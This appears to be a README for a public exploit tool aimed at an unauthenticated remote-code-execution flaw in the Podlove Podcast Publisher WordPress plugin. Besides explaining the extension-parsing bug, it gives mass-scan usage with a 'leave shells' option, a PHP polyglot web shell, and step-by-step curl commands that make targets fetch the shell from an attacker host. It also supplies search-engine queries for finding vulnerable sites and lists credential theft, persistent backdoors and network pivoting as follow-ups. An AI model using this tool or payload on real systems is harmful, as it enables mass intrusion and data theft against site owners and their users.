CVE-2026-13001

CVE-2026-13001 — Podlove Podcast Publisher Unauthenticated File Upload RCE

is_image() vs extract_file_extension() Mismatch → PHP Polyglot Upload

Overview

CVE-2026-13001 is a critical-severity (CVSS 9.8) unauthenticated arbitrary file upload vulnerability in the Podlove Podcast Publisher WordPress plugin versions ≤ 4.5.1.

The vulnerability exploits a mismatch between two internal functions that parse file extensions differently:

• is_image() uses basename() which includes query strings → URL shell.php?.gif appears as .gif ✅ (valid image)
• extract_file_extension() uses parse_url() path only → returns .php → file saved with .php extension 🚨

Attackers upload GIF89a PHP polyglots (valid GIF header + embedded PHP) that pass image validation but execute as PHP when accessed.

Affected Versions

Discovered by: Talal Nasraddeen via Wordfence (July 14, 2026)

Vulnerability Mechanism

Root Cause

// is_image() — uses basename() which includes query string
function is_image($url) {
    $ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
    return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
// URL: https://attacker.com/shell.php?.gif
// basename() → "shell.php?.gif" → ext = "gif" ✅ BYPASSED

// extract_file_extension() — uses parse_url() path only
function extract_file_extension($url) {
    $path = parse_url($url, PHP_URL_PATH);
    return pathinfo($path, PATHINFO_EXTENSION);
}
// URL: https://attacker.com/shell.php?.gif
// parse_url() → "/shell.php" → ext = "php" 🚨 SAVED AS .php

Attack Flow

1. Attacker hosts GIF89a PHP polyglot at attacker.com/shell.php?.gif
2. GET /?podlove_image_cache_url={hex(url)}&podlove_file_name=test
3. is_image() validates .gif extension → PASS
4. Plugin downloads file → saves as test_original.php in cache/
5. Attacker accesses /wp-content/cache/podlove/{hash}/test_original.php
6. PHP executes → RCE

Installation

git clone https://github.com/shinthink/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt

Usage

# Single target
python cve_2026_13001.py -t target.com

# Mass scan
python cve_2026_13001.py -f targets.txt -o shells.txt

# Custom payload URL
python cve_2026_13001.py -t target.com --payload-url https://yourserver/shell.php?.gif

# Debug mode, leave shells
python cve_2026_13001.py -t target.com --debug --no-cleanup

Arguments

  -t, --target       Single target (domain or IP)
  -f, --file         Target list, one per line
  -o, --output       Save RCE URLs to file
  --payload-url      URL hosting the PHP polyglot (default: GitHub raw)
  --threads          Concurrent workers (default: 30)
  --no-cleanup       Leave shells on target
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

Proof of Concept

Single Target

$ python cve_2026_13001.py -t podcast-site.com

  Podlove Podcast Publisher | CVE-2026-13001 | CVSS 9.8

  Host       : podcast-site.com
  Podlove    : YES v4.5.1
  Upload     : YES
  RCE        : YES
  Shell      : https://podcast-site.com/wp-content/cache/podlove/a1/b2.../think_xxx_original.php?t=TOKEN
  Output     : uid=33(www-data) gid=33(www-data)
  Time       : 4.2s

Mass Scan

  Targets: 500  |  Threads: 30
  Payload URL: https://raw.githubusercontent.com/shinthink/payloads/main/shell.gif

  [RCE] podcast-vuln-01.com       https://podcast-vuln-01.com/wp-content/cache/podlove/...
  [150/500] 30% | Det:42 RCE:8

Manual Exploitation

Step 1 — Host a polyglot shell

// shell.php — save and host on your server
GIF89a<?php system($_GET['c']); ?>

Step 2 — Hex-encode the URL with bypass

# URL: https://attacker.com/shell.php?.gif
echo -n "https://attacker.com/shell.php?.gif" | xxd -p | tr -d '\n'

Step 3 — Trigger the cache download

curl 'https://target.com/?podlove_image_cache_url=68747470733a2f2f...&podlove_file_name=shell&podlove_width=100&podlove_height=100&podlove_crop=0'

Step 4 — Access the shell

# Path: wp-content/cache/podlove/{h[:2]}/{h[2:]}/{name}_original.php
curl 'https://target.com/wp-content/cache/podlove/a1/b2c3.../shell_original.php?c=id'

FOFA / Shodan

FOFA:   body="podlove-podcasting-plugin-for-wordpress"
Shodan: http.html:"podlove"

Impact

Successful exploitation yields remote code execution as the web server user:

• Extract wp-config.php → database credentials
• Access all WordPress content, users, and plugin data
• Deploy persistent backdoors
• Pivot to internal networks

Disclaimer

FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.

The authors assume no liability for misuse.

References

_{Not affiliated with Podlove.}